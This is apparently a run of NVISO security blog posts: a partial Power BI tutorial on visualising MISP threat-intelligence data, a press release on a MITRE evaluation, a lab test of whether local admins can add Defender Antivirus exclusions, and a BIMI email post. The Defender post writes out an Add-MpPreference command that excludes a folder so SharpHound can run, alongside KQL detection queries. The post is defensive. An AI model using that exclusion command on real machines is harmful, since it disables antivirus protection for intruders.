Create a save file so that we can start working on our data ingest transforms and manage the relationships between the various tables in the MISP schema.

  1. Select File
  2. Save As
  3. Select the location where you will save the local copy of your Power BI report.
  4. Click Save

Now, we have a blank report file and pre-configured data source. Awesomeness!

Power Query Transforms (ETL Process)

ETL: extract, transform, load. Look it up. Big money in the data analytics space by the way.

So, let’s get into looking at the data and making sure it is in the right format for our purposes. If you closed Power BI Desktop, open it back up. Once loaded, click on file and then Open report. Select the report you saved earlier. So, we have a nice and empty workspace. Let’s fix that!

In the Ribbon, click on Recent sources and select the source we created earlier. You should be presented with Navigator and a list of tables under the misp schema.

Selecting Tables in Power BI Desktop

Let all the tables we want to use load for visualizations later. In my experience, it helps to do this all at once instead of trying to add additional tables at a later date.

Select the tables in the next subsection, Recommended Tables, and click Load. This could take a while if your MISP instance has a lot of Events and Attributes in it. It will create a local copy of the database so that you can create your reports accurately. Then you can refresh this local copy when needed. We will talk about data refresh later as well.

Do not try to transform the data at this step, especially if you MISP instance has a lot of data in it. We will do the transforms in a later step.

Data Importing Into Power BI Desktop

Recommended Tables

  • misp.attribute_tags
  • misp.attributes
  • misp.event_blocklists
  • misp.event_tags
  • misp.events
  • misp.galaxies
  • misp.galaxy_clusters
  • misp.galaxy_elements
  • misp.object_references
  • misp.objects
  • misp.org_blocklists
  • misp.organisations
  • misp.over_correlating_values
  • misp.sightings
  • misp.tags
  • misp.warninglist_entries
  • misp.warninglists

As you will see in the table selection dialog box, there are a lot of tables to choose from and we need most of them so that we can do drill downs, filters, etc. Do be careful if you decide to pull in tables like misp.users, misp.auth_keys, or misp.rest_client_histories, etc. These tables can contain sensitive data such as API keys and hashed passwords.

Column Data Types and Transforming Timestamps

Now, let’s start cleaning the data up for our purposes.

We are going to use a Power Query for this. To open Power Query Editor, look in the Ribbon for the Transform data button in the Queries section.

Transform Data Button

Click this and it will open the Power Query Editor window.

We will start with the first table in Queries list on the left, misp attribute_tags. There are not many columns in this table but it will help us go over some terminology.

Power Query

As shown in the screenshot above, Power BI has done some classification of data types in the initial ingest. We have four numeric columns and one boolean column. All of this looks to be correct and usable in this state. Let’s move on to a table that needs some work.

The very next table, misp attributes, needs some work. There are a lot more rows and columns in this table. In fact, this is probably the biggest table in MISP bar the correlations table. One reason we did not import that one.

At first glance, nothing seems to be amiss; that is until we scroll to the right and see the timestamp column.

Power Query Epoch Timestamp

If you recognize this long number, tip of the hat to you. If not, this is a UNIX timestamp also known as an epoch timestamp. It is the duration of time since the UNIX epoch which is January 1st, 1970 at 00:00:00 UTC. While this works fine in programs such as PHP that powers MISP; projects such as Power BI need human-readable timestamp formats AND SO DO WE! So let’s make that happen.

What we are going to do is a one-step transform. This will remove the epoch timestamp column and replace it with a human-readable timestamp column that we can understand and so can the visualization filters of Power BI. This will give you the ability to filter by month, year, quarter, etc.

Power BI uses a languages called DAX and Power Query M. Will be mainly be using Power Query M for this transformation work. You use DAX for data analysis, calculations, etc.

https://docs.microsoft.com/en-us/dax/dax-overview
https://docs.microsoft.com/en-us/powerquery-m/m-spec-introduction

Using Power Query M we are going to transform the timestamp column by calculating the duration since the epoch. So let’s to this with the timestamp column of the misp attributes table.

To shortcut some of the code creation we are going to use a built in Transform called Extract Text After Delimiter. Select the Transform tab from the ribbon and then select Extract in the Text Column section of the ribbon. In the drop-down menu select Text After Delimiter. Enter any character in the Delimiter text field. I am going to use “1”. This will create the following code in the formula bar:

= Table.TransformColumns(#"Extract Text After Delimiter", {{"timestamp", each Text.AfterDelimiter(Text.From(_, "en-US"), "1"), type text}})
Formula Example

We are going to alter this command to get the result we want. Starting at the “(” sign, replace everything with:

misp_attributes, {{"timestamp", each #datetime(1970,1,1,0,0,0) +#duration(0,0,0,_), type datetime}})

Your formula bar should look like this:

= Table.TransformColumns(misp_attributes, {{"timestamp", each #datetime(1970,1,1,0,0,0) +#duration(0,0,0,_), type datetime}})

And your column should have changed to a datetime type, little calendar/clock icon, and should be displaying a human readable values like in the screenshot below.

Timestamp Transformed

Do this with every epoch timestamp column you come across for all the tables. Make sure the epoch timestamp is already of type = numeric. If it is text you can use this code block to change it to numeric in the same step. Or add a type change step, then perform the transform as above.

# Change <table_name> to the name of the table you are working on.
= Table.TransformColumns(<table_name>, {{"timestamp", each #datetime(1970,1,1,0,0,0) +#duration(0,0,0,Number.From(_)), type datetime}})

If there are empty, 0, or null cells in your column then you can use the Power Query M (code/macro) command below and alter it as needed. Example of this would be the sighting_timestamp column or the first_seen and last_seen columns:

# Change <table_name> to the name of the table you are working on.
= Table.TransformColumns(<table_name>, {{"first_seen", each if _ = null then null else if _ = 0 then 0 else #datetime(1970,1,1,0,0,0) +#duration(0,0,0,_), type datetime}})

If there are empty, 0, or null cells in your column then you can use the Power Query M (code/macro) command below and alter it as needed. Example of this would be the sighting_timestamp column or the first_seen and last_seen columns:

# Change <table_name> to the name of the table you are working on.
= Table.TransformColumns(<table_name>, {{"first_seen", each if _ = null then null else if _ = 0 then 0 else #datetime(1970,1,1,0,0,0) +#duration(0,0,0,_), type datetime}})

Using the last code block above that handles null and 0 values is probably the best bet overall so that you do not have errors when you encounter a cell that should have a timestamp but does not.

It is recommend to remove the first_seen and last_seen columns on the Attribute table as well. They are rarely used and cause more issues and errors than value. This is done in Power Query by right clicking on the column name and selecting “Remove”

Also remember to SAVE as you work. In the top left you will see the classic Save icon. This will trigger a pop-up saying that you have transforms that need to be applied. Approve this as you will have to before it saves. This will apply your new transforms to the dataset. With the attributes table, this may take a minute. Grab a coffee, we will wait…

Move on to the next table and so on. There is a lot of work up front with this ETL workflow. But the work is usually minimal to up keep after the initial cleanup. Only additional fields or changes to the source data would be a reason to go back to these steps after they are complete. Enter the whole change control discussion and proper release notes on products and ….. OKAY moving on.

There maybe an error in a field or two but usually it is okay. It will save any errors in a folder within Power Query Editor that you can review as needed.

Loading Tables With Transforms

Other Transforms

While you are doing the timestamp corrections on your tables, you may notice that there are other fields that could benefit from some alteration to make it easier to group, filter, etc. I will discuss some of them here but of course you may find others, this is not an exhaustive list by any means.

Splitting Tags

So now that we have gone through each table and fixed all the the timestamps, we can move on to other columns that might need adjustments. Our example will be the “misp tags” table. Navigate to the Power Query Editor again and select the this table.

MISP Tags ETL

Look at the name column in the misp.tags table. From personal experience, there may come a time when you only want to display or filter on just the value of the tag and not the full tag name. We will split this string into its parts and also keep the original. Then we can do what we want with it.

Select the “name” column then in the Ribbon click the Add Column tab. Then click Extract, Text Between Delimiters. For the delimiter use a colon “:”. This will create a new column on the far right. Here is the formula that was auto-generated and creates the new column:

= Table.AddColumn(misp_tags, "Text After Delimiter", each Text.AfterDelimiter([name], ":"), type text)

We will add an if statement to deal with tags that are just standalone words. But we do not want to break the TLP or PAP tags, so we add that as well. You will have to play with this as needed as tags can change and new ones are added all the time. You can just add more else if checks to the instruction below. Changing the name of the column is easy as replacing the string “Inserted Text After Delimiter” with whatever you want. I chose “Short_Tag_Name”. Comparer.OrdinalIgnoreCase tells Power Query M to use a case-insensitive comparer.

= Table.AddColumn(misp_tags, "Short_Tag_Name", each if Text.Contains([name], "tlp:", Comparer.OrdinalIgnoreCase) then [name] else if Text.Contains([name], "pap:", Comparer.OrdinalIgnoreCase) then [name] else if Text.Contains([name], ":") then Text.AfterDelimiter([name], ":") else [name])

Here is what you should have now. Yay!

MISP Tags Split ETL Results

Relationship Mapping

Why Auto Mapping in Power BI Doesn’t Work

Power BI tries to help you by finding commonalities in the tables you load and automatically building relationships between them. Then is usually not correct, especially when the data is from an application and not purpose built for reporting. We can tell Power BI to stop helping.

Let’s stop the madness.
Go to File, Options and settings, Options
Uncheck all the boxes in the “Relationships” section

Disable Auto Mapping

Once this is complete, click on the Manage relationships button under the Modeling tab of the Ribbon. Delete any relationships you see there.

Managing Relationships

Once your panel looks like the one above, click New…
We can create the relationship using this selection panel…

Create a Relationship

We can also use the graphical method. You can get to the graph by closing the Create and Manage relationship windows and clicking on the Model icon on the left of the Power BI workspace.

Managing Relationships Graphically
Relationship Map

Here we can drag and drop connectors between tables. Depending on your style, you may like one method over the other. I prefer the drag and drop method. To each their own.

Process to Map Tables

To map the relationships of these tables, you need to know a little about MISP and how it works.

  • Events in MISP can have tags, objects, attributes, galaxies (basically groups of tags), and must be created by an organization.
  • Attributes can have tags and sightings.
  • Objects are made up of Attributes
  • Warninglists are not directly related but can match against Attributes
  • Events and Organizations can be blocked by being placed on a corresponding blocklist
  • There is a table called over_correlating_values that tracks attributes that are very common between many events.

Using this information and user knowledge of MISP, you can map what relates to the other. Mainly, mostly tables have an “id” column that is the key of that table. For instance the tags table column “id” is related to the “tag_id” of the event_tags table. To make this easier you can rename the “id” column of the tags table to “tag_id” so that it matches. You will have to go through this process with all the tables. There will be relationships that are not “active”. This is due to multiple relationship per table were create ambiguity in the model. Ambiguity meaning uncertainty. Which relationship would the software choose. It does not like this. So for the models sake you have to pick which one is active by default if there is a conflict. You can use DAX when making visualizations to temporally activate an inactive relationship if you need to. Great post on this here: https://www.vivran.in/post/understanding-ambiguity-in-power-bi-data-model

Personally, relationship mapping was the most tedious part for me. But once it is done you should not have to change it again.

Examples of a Relationship Map

Here is what the relationship model should look like when you are done. Now we can start building visualizations!

Example of a Complete Relationship Map

I will leave the rest of the relationship mapping as a exercise for you. It will help you better understand how MISP uses all this data as well.

Later we will talk about Power BI templates and the one we are providing to the community.

Making your first visualization

What do you want to visualize

At this stage you have to start looking at your Primary Intelligence Requirements (PIR). Why are you doing this work? What is the question you are answering and who is asking the question?

For example, if your CISO is asking for a constantly updating dashboard of key metrics around the CTI Program then your requirement is just that. You can fulfill this requirement with Power BI Desktop and Power BI Service. So as a first step we need to create some visualizations that will provide insights into the operational status of the CTI program.

Count all the things

To start off easy, we will just make some charts that count the number of Events and Attributes that are currently in our MISP instance during a certain time window.
To do this we will go back to Power BI Desktop and the Report workspace.

Starting to Create a Visualization

So let’s start with Events and display them in a bar chart over time. Expand the misp events table in the Fields panel on the left. Select the event_id and check the box. This will place that field in the X-axis, drag it down to the Y-axis. This will change it to a count. Then select the Date field in the Events table. This will create the bar chart in the screenshot below. You will have to resize it by dragging the corner of the chart as you would with any other window.

Histogram Example

We need to filter down on the year the Event was created. Drag Year in the Date field hierarchy over to the Filter on all pages panel. Then change the filter type to basic. Then select the last 5 years to get a small dataset. This will be different depending on the amount and age of your MISP dataset.

Filtering Visuals

Nice. Now there is a thing that Power BI does that will be annoying. If you want to look at data over a long period of time it will, by default, group all of the data by that views bucket no matter if it has another higher order bucket. That probably makes no sense. But for example, if you are looking at data over two years and then want to see how many events per month, it will combine the data for the two years and then show you that total for the months Jan-Dec. It also concatenates the labels by default. See below, this is five years of data but it is only show the sum of all events that happened in each month over those five years.

Time Buckets Not Correct

To change this you can click on the forked arrow to the left of the double arrow highlighted in the screenshot above. This will split the hierarchy. You will have to drill up to the highest level of the hierarchy first using the single up arrow. Click this until you are at years only. We can also turn off label concatenation. See the highlighted areas in the screenshot below. Now this is more like it!

Time Buckets Correctly Configured

Using a Slicer as a time filter

Now we need to be able to change the date range that we are viewing easier to change. Let’s add a Slicer for that! Drag the Slicer visualization to the canvas. You can let it live on top of the visualization or reorganize. Not drag the Date field of the event table into the new visualization. You should be left with a slider that can now filter the main visualization. Awesome. See the example below.

Slicer Example

You can also change the way the Slicer looks or operates with the options menu in the top right. See below.

Different Types of Slicers

Ask questions about your data

Let’s add some additional functionality to our report. Click on the three dots, … , in the visualization selection panel. Then click Get More Visuals, then select or search for and select Text Filter by Microsoft. Add it to your environment. Then add it and the Q&A visualizations to your canvas. To use the Text Filter you need to give it fields to search in. Add the value1 field from the attributes table. This is the main field in the attributes table that stores your indicator of compromise or IoC for short.

Text Filter

After you rearrange some stuff to make everything fit, ask the following question in your Q&A visual, “How many attribute_id are there?”. Give it a minute and you should get back a count of the number of attributes in the dataset. Nice!

Now do a Text Search in that visual for an IP you know is in your MISP instance. I know we have the infamous 8.8.8.8 in ours, IDS flag set to false of course :). Now the text search will filter the Q&A answer and it should show you how many times that value is seen in your dataset. It also filters your bar chart to show you when the events were created that contain that data! If your bar chart doesn’t change, check you relationship maps. It might be the filtering direction. Play with this until your data behaves the way you need it to. Imagine the capabilities of this if you get creative! You can also mess with the built in design templates to make this sexier or you can manually change backgrounds, borders, etc

Example Visuals

Add in Geo-location data

Before we start: Sign up for a free account here: https://www.ip2location.io/

Record your API address, we will use this soon.

Lets also create a new transform that will add geoip data to the IP addresses in our attributes table.

We are going to start by creating a new table with just IP attributes.

Click on Transform data in the Ribbon. Then right click on the misp attributes table.

Duplicate the table and then right click on the new table and select rename. I renamed mine “misp ip_addresses_last_30_days_geo”.

Now we are going to do some filtering to shrink this table to the last 30 days worth of IP attributes. If we did not do this we my burn through our API credits due to the amount of IPs in our MISP instance. Of course you can change the date range as needed for your use case.

Right click the column type and filter to just ip-src and ip-dst.

Selecting Attribute Types to Filter Column

Then filter to the last 30 days. Right click the timestamp column and open Date/Time Filters > In the Previous…

Filter Tables by Time

In the dialog box, enter you time frame. I entered last 30 days as below.

Filtering to the Last 30 Days

Then we are going to follow the instructions that can be found at the following blog: https://www.fourmoo.com/2017/03/14/power-bi-query-editor-getting-ip-address-details-from-ip-address/

In that blog you create a custom function like the one below. Follow the instructions in that blog, it is a great read.

fn_GetIPAddressDetails

let
Source = (#"IP Address" as text) => let
Source = Json.Document(Web.Contents("https://api.ip2location.io/?ip=" & #"IP Address" & "&key=<ip2location_api_key>")),
#"Converted to Table" = Record.ToTable(Source),
#"Transposed Table" = Table.Transpose(#"Converted to Table"),
#"Promoted Headers" = Table.PromoteHeaders(#"Transposed Table")
in
#"Promoted Headers"
in
Source

Once you have this function saved you can use it to create a new set up columns in your new IP Address table, the one a name “misp ip_addresses_last_30_days_geo” earlier. Use the column value1 for the argument of the function.

Example of GeoIP locations and Text Filter on Tag Name

Sharing with the community

On the NIVSO CTI Github page, you will find a Power BI template file that has all the Power BI related steps above for you. All you have to do is change the data source to your MISP and get an API key for https://www.ip2location.io/.

Download the template file located here: https://github.com/NVISOsecurity/nviso-cti/tree/master/Power_BI

Use the import function under the File menu in the Power BI Desktop ribbon.

Import Function

Import the template. There will be errors as you have not specified your data source. Cancel the login dialog box and close the Refresh dialog box. It will show the IP of my dev MISP, you will need to specify your data source. Select Transform Data in the ribbon and then Data source settings. Here you can edit the source information and add your credentials. (Make sure you have configured your MISP instance for remote MySQL access and installed the MySQL .NET connector)

Close Prompt to Update Creds
Change Data Source
Accessing Source Settings
Change MySQL Source
Adding Your Creds 1

Make sure you set the encryption checkbox as needed.

Adding Your Creds 2

Select Transform Data in the ribbon again and then Transform data to open the Power Query editor.

Accessing Power Query to Edit Custom Function

Then select the custom function for geoip and use the Advanced Editor to add your API key.

Add Your API Key

Now, if you data source settings/credentials are correct you can Close and Apply and it should start pulling in the data from your configured MISP instance.

Conclusion

Note of caution with all this, check your source data to make sure what your seeing in Power BI matches what you see in MISP. As my brother-in-law and data analytics expert, Joshua Henderson, says: “Always validate that what your outcome in Power BI/Tableau is correct for what you have in the DB. I will either already know what the outcome should be in my viz tool, or I will do it after I create my viz. Far too often I see data counts off and it can be as small as a mis-click on a filter, or as bad as your mapping being off and you are dropping a large percentage of say attribute_ids. It also can help you with identifying issues; either with your database not updating correctly, or an issue with your data refresh settings.”

Now that you have built you first visualization, I will leave it to you to build more and would love to see what you come up with. In the next blog I will demonstrate how to publish this data to the Power BI Service and use the Data Gateway to automate dataset refresh jobs! Once published to the Power BI Service you will be able to share your reports and create and share dashboard built from individual visual in your reports. Even view all this on your phone!!

I also leave you with this idea. Now that your MISP data is in Power BI, what other data can you pull into Power BI to pair with this data? SIEM data? Data from your XDR/EDR? Data from your SOC’s case management solution? Data from your vulnerability management platform? You get the idea!

Until next time!

Thanks for reading!!!
Robert Nixon
@syloktools

Rock On!

NVISO EXCELS IN MITRE ATT&CK® MANAGED SERVICES EVALUATION

9 November 2022 at 14:13

As one of the only EU-based Cyber Security companies, NVISO successfully participated in a first-of-its-kind, MITRE-led, evaluation of Managed Security Services (MSS).

MITRE Evaluation Graphic


The inaugural MITRE Engenuity ATT&CK® Evaluations for Managed Security Services ran in June 2022 and its results have been published today. NVISO performed excellently in the evaluation, demonstrating services that are at or above the level of traditional titans of the industry.


During this evaluation, NVISO was tested on its ability to detect and report advanced attacks that were executed by the MITRE team.

“The tests were simulating real-life scenarios in which only detection and reporting was evaluated – we were not allowed to block or respond to any attacks”, says Erik Van Buggenhout, Partner, responsible for Managed Security Services at NVISO. A test environment was set up in which participants would deploy their tools and detection services.

“NVISO chose to deploy Palo Alto’s Cortex XDR – an XDR tool that integrates seamlessly into our service and client environments. The combination of XDR with our NITRO automation platform and NVISO world-class expertise ensures that our Managed Detection and Response service is top notch and future-proof. While we have always believed in our own strategy, we are excited and proud to receive MITRE’s external and independent validation of the outstanding quality of our services.”, Erik says.

NVISO was one of the only EU-based Cyber Security companies participating in this elite evaluation. “NVISO is a true European Cyber Security company, which is reflected well in its mission: to safeguard the foundations of European society from cyber attacks”, says Maxim Deweerdt, head of MSS presales at NVISO.

NVISO was founded in 2013 in Belgium, has since offered services to large and mid-sized customers in almost 20 countries, mostly in Europe. NVISO has offices in Brussels, Frankfurt, Munich, Vienna and Athens. “The way NVISO approaches Managed Detection and Response is typical for our company: we challenge the status-quo and provide an innovative approach driven by our expertise and long experience in cyber defense”, Maxim says, “This evaluation has highlighted and validated our approach, and confirms the positive feedback we receive from customers”.


More information about the evaluation and NVISO’s services can be found here: https://mitre.nviso.eu

About MITRE

MITRE Engenuity is a US nonprofit organization launched in 2019 “to collaborate with the private sector on solving industry-wide problems with cyber defense” in collaboration with corporate partners. They are most known in the Cyber Security world for their work on the ATT&CK® framework, which is a global knowledge base of threat activity, techniques and models. ATT&CK® framework is used by almost every vendor and provider in the Cyber Defense industry.

www.mitre-engenuity.org

About NVISO

NVISO is a pure-play Cyber Security company founded in 2013 in Brussels by 5 ex-Big four managers. They always had an itch to do things differently (and better), decided to start their own company and with a strong mission: to safeguard the foundations of European society from cyber attacks. NVISO currently employs about 200 people and has offices in Brussels, Frankfurt, Munich, Vienna and Athens. NVISO is rapidly expanding into other countries and has an aggressive growth strategy for the next years. NVISO has customers in 20+ countries, primarily the Finance, Government, Defense, and Technology sectors.

www.nviso.eu



Can we block the addition of local Microsoft Defender Antivirus exclusions?

2 December 2022 at 09:00

Introduction

A few weeks ago, I got a question from a client to check how they could prevent administrators, including local administrators on their device, to add exclusions in Microsoft Defender Antivirus. I first thought it was going to be pretty easy by pushing some settings via Microsoft Endpoint Manager. However, after doing some research and tests in a lab environment, I discovered that it might not be as easy as I thought.

What capabilities in Microsoft Defender Antivirus can help us?

Microsoft Defender Antivirus, which is part of the Microsoft Defender for Endpoint (MDE), is one component of the next-generation protection solution. Microsoft Defender Antivirus comes with different features that can be configured using Microsoft Endpoint Manager (MEM)/Intune, Group Policy, PowerShell, etc. These features include cloud-delivered and real-time protection with behavioral, heuristic and machine learning-based protection.

Because some business applications might be blocked by these capabilities, there is the possibility to create specific exclusions for files, processes and processed-opened files from Microsoft Defender Antivirus scans, real-time protection and monitoring. Although they can be useful to benefit from the protection capabilities while preventing any impact on end users and business flows, they represent a protection gap. Indeed, the more exclusions there are, the larger the attack surface is. Therefore, it is a best practice to keep them as limited as possible and to review them periodically.

Because these are protection gaps, you don’t want users from adding exclusions locally on their laptop. By default, standard users can’t change, add or remove exclusions. However, administrators can. This is where our problems start. Indeed, we want to prevent that users help themselves to install suspicious software and we don’t want attackers that would have gained sufficient privileges to add exclusions so that they can install and run their malicious payloads.

How can we prevent users from adding exclusions? We can? Right? We will go over different possibilities in Microsoft Defender for Endpoint to do so.

Tamper Protection

First, let’s have a look at Tamper Protection. By searching on the Internet, I found a few posts mentioning that Tamper Protection could help us to solve this issue.

Tamper Protection is a feature that allows to protect specific protection settings against tampering as its name suggests. The main objective of Tamper Protection is to make sure attackers can’t disable security features to get easier access to your data, install malware or run exploits. In practice, Tamper Protection allows to prevent the following:

  • Disabling virus and threat protection
  • Disabling real-time protection
  • Turning off behavior monitoring
  • Disabling antivirus protection, such as IOfficeAntivirus (IOAV)
  • Disabling cloud-delivered protection
  • Removing security intelligence updates
  • Disabling automatic actions on detected threats
  • Suppressing notifications in the Windows Security app
  • Disabling scanning of archives and network files

Therefore, we can already see that this is not going to help us here. I can also confirm this based on the tests that I have done. During the tests, Tamper Protection is enabled at the tenant level in the Microsoft 365 Defender portal and therefore applied to all devices by default.

Local Admin Merge

Secondly, we have the Defender “local admin merge” feature. This capability looks more interesting. Indeed, it allows to control if exclusion list settings, which are configured by a local admin, will merge with managed settings from an Intune policy. We can use a Microsoft Defender Antivirus profile in Microsoft Endpoint Manager to configure it:

Enforce "Disable Local Admin Merge" in an Antivirus profile in MEM
Enforce “Disable Local Admin Merge” in an Antivirus profile in MEM

Three values are supported for the Disable Local Admin Merge:

  • Not configured: preference settings configured by local administrators will be merged into the resulting effective policy. If there are conflicts, settings from Intune will override local preference settings.
  • Enable Local Admin Merge: same as Not configured.
  • Disable Local Admin Merge: Intune-managed settings override preference settings that are configured by local administrators.

Theoretically, the Disable Local Admin Merge value would allow to prevent local admins from creating exclusions. We will test that in a moment, but let’s check first if this setting is correctly applied on my device. In the registry editor, I verify that the DisableLocalAdminMerge key is set to 1:

DisableLocalAdminMerge key set to 1 (enforced)
DisableLocalAdminMerge key set to 1 (enforced)

It seems to be the case here, great! If we go to Windows Security on the local machine, we can see that exclusions already exists and that we can’t add or manage them. This is because these policies have been pushed through Intune:

Existing exclusions configured via Intune
Existing exclusions configured via Intune

We will now see if we can still add local exclusions to download and run malicious software. First, if we try to download SharpHound for example, it will end up in the user’s download folder and get removed automatically:

Windows Security alert: Threat found
Windows Security alert: Threat found

As mentioned before, exclusions can be managed in PowerShell. We will add an exclusion for our download folder using the Add-MpPreference -ExclusionPath 'C:\Users\<USERNAME>\Downloads' (make sure to replace <USERNAME>) PowerShell cmdlet. Moreover, we can verify the exclusions that currently apply using Get-MpPreference as shown below:

Current exclusions in Microsoft Defender Antivirus
Current exclusions in Microsoft Defender Antivirus
Current exclusions in Microsoft Defender Antivirus

It looks like our exclusion has been successfully added (see ExclusionPath). Once added, SharpHound can be downloaded and is not removed by Microsoft Defender Antivirus. Additionally, if we bypass the Windows antimalware warning, it can be executed (my machine is not joined to any domain hence the error in SharpHound):

Run SharpHound
Run SharpHound

Note that alerts will still be generated in Microsoft 365 Defender for this action because the endpoint detection and response (EDR) capability of Microsoft Defender for Endpoint is running and antivirus exclusions do not apply to it. Indeed, the purpose of EDR is to detect post-breach activities. Usually, EDR is set in block mode to remediate these post-breach detections when a non-Microsoft antivirus product is running.

EDR detection for SharpHound

Based on that, it seems that Disable Local Admin Merge does not allow us to prevent local admins from adding exclusions via PowerShell. Note that it will also be the case via WMI using the MSFT_MpPreference class. In fact, from what I have observed during my testing is that the created exclusions will be overwritten when the device is restarted or when policies are pushed again. However, it did allow us to download and run SharpHound during this time.

Hide Exclusions From Local Admins

The last feature that I wanted to talk about is the Hide Exclusions From Local Admins setting. This setting is not available in Microsoft Defender Antivirus profile yet but can already be configured with a custom configuration profile or with a Group Policy, for example. When enabled, all exclusions in PowerShell, Windows Security and registry editor are not visible to administrators.

It can be configured using the following registry key: Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\HideExclusionsFromLocalAdmins.

Hide exclusions from local admins registry key
Hide exclusions from local admins registry key

If the value is set to 1 as it is currently the case, it blocks all access to exclusions to administrators as shown below:

  • Registry Editor:
Exclusions in Registry Editor can't be accessed
Exclusions in Registry Editor can’t be accessed
  • Windows Security application
Exclusions in Windows Security can't be accessed
Exclusions in Windows Security can’t be accessed
  • PowerShell
Exclusions can't be accessed using Defender PowerShell cmdlet
Exclusions can’t be accessed using Defender PowerShell cmdlet
Exclusions can't be accessed by browsing registry keys in PowerShell
Exclusions can’t be accessed by browsing registry keys in PowerShell

However, it does not allow to block admins from adding exclusions. Indeed, it only blocks them from accessing exclusions.

Detection

At the time of writing, there is currently no method to block administrators from adding exclusions. As a general guidance, it is a best practice to avoid granting local administrator permissions to users on their machine. However, it might not always be possible for multiple reasons. In this case, it might be interesting to implement detection measures.

In the Microsoft 365 Defender portal, custom detection rules can be created to detect and alert when such events occur. Moreover, if Microsoft Defender for Endpoint events are connected in Microsoft Sentinel, an analytics rule could also be created. We will focus on creating a custom detection rule in Advanced Hunting in the Microsoft 365 Defender portal as part of this blog post.

When adding an exclusion in Microsoft Defender Antivirus, a registry key is created. Therefore, we can query the DeviceRegistryEvents with the following Advanced Hunting query:

DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey contains "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"

However, during my tests, I have noticed that exclusions are pushed again every time a device is restarted when configured in Intune. Therefore, this would generate a lot of false positives. To prevent that, exclusions could be defined in the query to make sure the rule only triggers on non-legitimate exclusions.

let exclusions = dynamic ([
"C:\\myapp",
"myapp.exe",
".app"
]);
DeviceRegistryEvents
| where ActionType == "RegistryValueSet"
| where RegistryKey has "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows Defender\\Exclusions"
| where RegistryValueName !in (exclusions)

A custom detection rule can be created based on the DeviceId, and rule properties, such as response actions, can be specified to help investigation and remediation activities.

Conclusion

As we have seen during this blog post, it is currently not possible to block administrators from adding exclusions in Microsoft Defender for Endpoint. If local administrators are required on devices, detection mechanisms can be implemented to make sure your security operations teams have visibility on such events.

About the author

Guillaume is a Senior Security Consultant in the Cloud Security Team. His main focus is on Microsoft Azure and Microsoft 365 security where he has gained extensive knowledge during many engagements, from designing and implementing Azure AD Conditional Access policies to deploying Microsoft 365 Defender security products. Additionally, Guillaume has recently gained interest into DevSecOps and has obtained the GIAC Cloud Security Automation (GCSA) certification.

You can find Guillaume on LinkedIn.

Lower email spoofing incidents (and make your marketing team happy) with BIMI

13 December 2022 at 09:00

Introduction

Over the last couple of years, we saw the amount of phishing attacks skyrocket. According to F5, a multi-cloud security and application provider, there was a 220% increase of incidents during the height of the global pandemic compared to the yearly average. It’s expected that every year there will be an additional increase of 15% in phishing attempts, making it one of the most threatening security risks for a company’s IT department.

Email Spoofing

While several malicious actors try to target an employee with an email from what looks like a (very) legitimate domain, there are also a lot of email spoofing incidents, which are more difficult to distinguish from non-phishing emails for the target employee. Its goal is to fool users into believing that the message comes from a person or entity they either know or can trust. The sender sends an email using forged email headers to convince an email client software of the legitimacy of the message. By examining the header of the mail closely, it is possible to find the false address. But many users will not suspect a fraudulent email from the sender he knows. So, they can easily click malicious links or send sensitive data without considering the risks involved.

SPF, DKIM and DMARC

There are several known frameworks to prevent email spoofing, and these are already commonly used by businesses: SPF, DKIM and DMARC. This to the extent that some mail servers will reject emails that do not comply with these frameworks.


Sender Policy Framework (SPF) works by verifying the identity of the sender of an email by comparing the sender’s IP address to a list of authorized IP addresses that are published in the domain’s DNS records.


With DomainKeys Identified Mail (DKIM), a digital signature is attached to the email which can be used by the recipient to verify the authenticity of the sender.


And finally, Domain-based Message Authentication, Reporting, and Conformance (DMARC). By building on the SPF and DKIM standards, it provides a more comprehensive approach to email authentication. DMARC allows the owner of a domain to publish a policy in their DNS records that specifies which mechanisms are used to authenticate emails sent from their domain, and what to do if an email fails authentication.


When correctly configuring your DNS, you can already go a long way into lowering the chances of a spoofing attempt. But there is still the low risk of messages with malicious links arriving in the inbox of the receiver or legitimate mails being flagged as spam and eventually deleted. By setting up BIMI, you can have that extra security layer while giving your sent emails more exposure with your brand logo.

What is BIMI?

BIMI (Brand Indicators for Message Identification) is a recently (2020) introduced email standard, which makes use of the brand logo of the business as a security control. When configured correctly, client mail software can verify the legitimacy of the received mail by comparing it with the BIMI record in the DNS of the sender.

BIMI-group logo

Preparation for BIMI

When setting up BIMI you need to correctly configure SPF, DKIM and DMARC. Otherwise, the receiver mail software will already fail verification before it even checks the added brand logo. This means:

  • Email service providers are added to the SPF record and set to hard fail (‘-all’)
  • DKIM is configured for all the email service providers and the public key is reachable
  • DMARC is fine-tuned. Recommended is to have the policy set on quarantine or reject, and pct to 100.

So, make sure these are checked and analyse the DMARC reports before implementing BIMI.

At the moment of writing this blog, there is still a limited list of mailbox providers that supports the implementation and verification of BIMI. Google and Apple mail are one of the most used providers in this list (Link), but many will join in the future as BIMI will become a more commonly used standard. Noticeably, Microsoft (Outlook) has not even considered to implement the email standard.

BIMI Example in Gmail Inbox

BIMI Setup

The majority of the work is creating the BIMI SVG Logo files. We recommend using an SVG formatted file which is hosted publicly and can be accessed via HTTPS. It can help to use the SVG conversion tool from the BIMI-group.

When the SVG is in place, you can add the DNS record which begins with the tag “v=BIMI1” and includes the parameter “l=logoURL” where you fill in the link to your externally accessible logo. You can use the BIMI Inspector, which generates a record for you.

Optionally you can use VMC (Verified Mark Certificate), a proof that you own the trademark for your brand logo. By adding this you increase the legitimacy, but this isn’t required yet. This is included in the DNS record together with the URL pointing to the logo’s location.

Conclusion

Now you know what BIMI is, why should you consider configuring this email standard? There are two major reasons:

  1. It providers extra security against email spoofing
  2. it makes your sent mails standout between all the other marketing mails.

If you want more info on the standard, we recommend checking the website of the group: https://bimigroup.org/

About the author

Karsten De Baere
Karsten De Baere

Karsten is a Senior Security Consultant in the Cyber Strategy and Architect team at NVISO. He assists organisation with assessing and implementing new practices in the SSDLC. In his off time, Karsten likes to do extensive research on new security topics and play with the latest automation gadgets.

The Key Role of the Service Delivery Manager at NVISO’s Managed Detect & Respond Service

16 December 2022 at 08:00

